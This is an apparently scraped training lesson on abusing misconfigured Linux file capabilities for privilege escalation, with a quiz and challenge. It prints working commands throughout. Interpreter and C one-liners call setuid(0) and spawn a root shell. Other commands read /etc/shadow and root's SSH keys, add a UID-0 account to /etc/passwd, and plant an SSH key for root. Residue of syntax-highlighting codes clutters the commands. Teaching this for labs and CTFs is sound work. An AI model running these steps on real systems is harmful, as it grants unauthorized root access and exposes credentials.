Linux Capabilities

intermediate30 minWriteup

Exploiting misconfigured capabilities

Learning Objectives

  • Understand Linux capabilities
  • Find dangerous capabilities
  • Exploit cap_setuid
  • Exploit other capabilities

Linux Capabilities are a fine-grained alternative to SUID. Instead of giving a binary full root powers, capabilities grant specific privileges. But when dangerous capabilities are assigned, they create privilege escalation paths just like SUID.

Think of capabilities like security clearances. SUID is like having a "TOP SECRET ALL ACCESS" badge. Capabilities are like having "TOP SECRET for NETWORK only" - more restricted, but if that specific clearance lets you do something dangerous (like change any user ID), you can still escalate.

Beyond SUID

Capabilities are Linux's answer to "why give ping full root when it only needs network access?" But misconfigured capabilities are just as dangerous as misconfigured SUID.

Understanding Capabilities

1Important Linux Capabilities:
2├── CAP_SETUID - Change process UID (instant root!)
3├── CAP_SETGID - Change process GID
4├── CAP_DAC_READ_SEARCH - Bypass file read permissions
5├── CAP_DAC_OVERRIDE - Bypass all file permissions
6├── CAP_NET_RAW - Use raw sockets (ping)
7├── CAP_NET_ADMIN - Network admin operations
8├── CAP_NET_BIND_SERVICE - Bind to privileged ports
9├── CAP_SYS_ADMIN - Various admin operations
10├── CAP_SYS_PTRACE - Trace processes (debug)
11├── CAP_CHOWN - Change file ownership
12├── CAP_FOWNER - Bypass owner permission checks
13└── CAP_KILL - Send signals to any process
14 
15Three capability sets:
16├── Effective (e) - Currently active
17├── Permitted (p) - Can be activated
18└── Inheritable (i) - Passed to child processes
19 
20Common notation: cap_setuid=ep (effective + permitted)

Dangerous Capabilities

CAP_SETUID allows changing to UID 0 (root). CAP_DAC_OVERRIDE bypasses all file permissions. CAP_SYS_ADMIN has so many abilities it's almost as dangerous as root.

Finding Capabilities

bash
1606070;"># Find all files with capabilities
2getcap -r / 2>/dev/null
3 
4606070;"># Example output:
5/usr/bin/python3.8 = cap_setuid+ep
6/usr/bin/vim = cap_dac_override+ep
7/usr/bin/ping = cap_net_raw+ep
8/usr/bin/openssl = cap_setuid+ep
9 
10606070;"># Check specific file
11getcap /usr/bin/python3.8
12 
13606070;"># LinPEAS checks capabilities automatically
14./linpeas.sh | grep -i capabilities
15 
16606070;"># What capabilities does current process have?
17cat /proc/self/status | grep Cap
18606070;"># Then decode with:
19capsh --decode=<hex_value>

Always Check Capabilities

Capabilities are often overlooked in CTFs because SUID is more well-known. Always run getcap -r / - you might find an easy path others miss.

Exploiting CAP_SETUID

CAP_SETUID is the jackpot - the binary can change its user ID to anyone, including root (UID 0).

bash
1606070;"># Python with cap_setuid
2/usr/bin/python3 -c 606070;">#a5d6ff;">'import os; os.setuid(0); os.system("/bin/bash")'
3 
4606070;"># Perl with cap_setuid
5/usr/bin/perl -e 606070;">#a5d6ff;">'use POSIX; POSIX::setuid(0); exec "/bin/bash";'
6 
7606070;"># PHP with cap_setuid
8/usr/bin/php -r 606070;">#a5d6ff;">"posix_setuid(0); system('/bin/bash');"
9 
10606070;"># Ruby with cap_setuid
11/usr/bin/ruby -e 606070;">#a5d6ff;">'Process::Sys.setuid(0); exec "/bin/bash"'
12 
13606070;"># Bash with cap_setuid (rare but possible)
14606070;"># Can't directly change UID in bash, but can call setuid binaries
15 
16606070;"># Any interpreter with cap_setuid = instant root
17606070;"># The pattern is always: setuid(0), then exec shell

Compiled Binary with CAP_SETUID

c
1606070;">// If you can compile and have cap_setuid binary:
2606070;">#include <unistd.h>
3606070;">#include <stdlib.h>
4 
5int main() {
6 setuid(0);
7 setgid(0);
8 system(606070;">#a5d6ff;">"/bin/bash");
9 return 0;
10}

Exploiting DAC Capabilities

CAP_DAC_READ_SEARCH

bash
1606070;"># Can read any file regardless of permissions
2 
3606070;"># If tar has this capability:
4/usr/bin/tar -cvf /tmp/shadow.tar /etc/shadow
5tar -xvf /tmp/shadow.tar
6cat etc/shadow
7 
8606070;"># If cat has this capability (unlikely but check):
9/usr/bin/cat /etc/shadow
10 
11606070;"># If vim has this capability:
12/usr/bin/vim /etc/shadow
13606070;"># Read the file, extract hashes
14 
15606070;"># Read SSH keys:
16/usr/bin/tar -cvf /tmp/root_ssh.tar /root/.ssh/
17tar -xvf /tmp/root_ssh.tar
18cat root/.ssh/id_rsa

CAP_DAC_OVERRIDE

bash
1606070;"># Can read AND write any file
2 
3606070;"># If vim has this capability:
4/usr/bin/vim /etc/passwd
5606070;"># Add: hacker:$1$hash:0:0:root:/root:/bin/bash
6 
7606070;"># If cp has this capability:
8echo 606070;">#a5d6ff;">'hacker:$1$salt$hash:0:0:root:/root:/bin/bash' >> /tmp/passwd_new
9cat /etc/passwd >> /tmp/passwd_new 606070;"># Append original
10/usr/bin/cp /tmp/passwd_new /etc/passwd
11 
12606070;"># Write SSH key to root:
13echo 606070;">#a5d6ff;">"ssh-rsa AAAA...yourkey..." > /tmp/authorized_keys
14/usr/bin/cp /tmp/authorized_keys /root/.ssh/authorized_keys

Other Dangerous Capabilities

CAP_SYS_ADMIN

bash
1606070;"># CAP_SYS_ADMIN grants many abilities including:
2606070;"># - Mount filesystems
3606070;"># - Perform admin operations
4606070;"># - Often abusable for privilege escalation
5 
6606070;"># Example: If binary can mount, mount /etc with modified files
7606070;"># This is complex but CAP_SYS_ADMIN is essentially near-root

CAP_SYS_PTRACE

bash
1606070;"># Trace and debug any process
2606070;"># Can inject code into root processes
3 
4606070;"># If gdb has this capability:
5606070;"># Attach to root process and inject shellcode
6606070;"># Complex but powerful

CAP_CHOWN

bash
1606070;"># Change ownership of any file
2606070;"># Can take ownership of sensitive files
3 
4606070;"># If chown-capable binary exists:
5./binary_with_cap_chown /etc/shadow
6606070;"># Now owned by you, can modify (but usually still can't write due to permissions)
7 
8606070;"># More useful: chown writable files you can then read

CAP_FOWNER

bash
1606070;"># Bypass permission checks that require file ownership
2606070;"># Combined with write capability = powerful

Real-World Examples

bash
1606070;"># OpenSSL with cap_setuid (from real CTFs)
2getcap /usr/bin/openssl
3606070;"># /usr/bin/openssl = cap_setuid+ep
4 
5606070;"># OpenSSL itself can't setuid, but you can use it to:
6606070;"># 1. Read any file via enc command
7/usr/bin/openssl enc -in /etc/shadow -out /tmp/shadow
8 
9606070;"># tcpdump with cap_net_admin,cap_net_raw
10606070;"># Can capture all traffic, potentially including credentials
11 
12606070;"># ping with cap_net_raw
13606070;"># Normal - this is expected
14 
15606070;"># node/npm with cap_setuid
16606070;"># Various npm packages can call setuid
17606070;"># node -e 'process.setuid(0); require("child_process").execSync("bash")'

How Capabilities Are Set

bash
1606070;"># Set capability on file (requires root)
2sudo setcap cap_setuid+ep /path/to/binary
3 
4606070;"># Remove capabilities
5sudo setcap -r /path/to/binary
6 
7606070;"># Show capability of file
8getcap /path/to/binary
9 
10606070;"># Why might dangerous caps exist?
11606070;"># 1. Admin misconfiguration
12606070;"># 2. Application requirements (docker, certain services)
13606070;"># 3. Alternative to SUID (trying to be "more secure")
14606070;"># 4. Inherited from package installation

Capabilities Exploitation Methodology

Capabilities Attack Flow

1
Enumerategetcap -r / 2>/dev/null
2
IdentifyFind dangerous caps (setuid, dac_override)
3
ResearchCheck GTFOBins for the binary
4
UnderstandKnow what the capability allows
5
ExploitUse appropriate technique for the cap
6
VerifyConfirm privilege escalation worked

Knowledge Check

Quick Quiz
Question 1 of 3

What does CAP_SETUID allow a binary to do?

Challenges

Capability Escalation

Challenge
🔥 intermediate

Find a binary with dangerous capabilities and use it to escalate to root.

Need a hint? (4 available)

Key Takeaways

  • Capabilities are fine-grained privileges (alternative to SUID)
  • Find them with: getcap -r / 2>/dev/null
  • CAP_SETUID = instant root via setuid(0)
  • CAP_DAC_OVERRIDE = read/write any file
  • Interpreters with cap_setuid are easiest to exploit
  • Often overlooked - always check during enumeration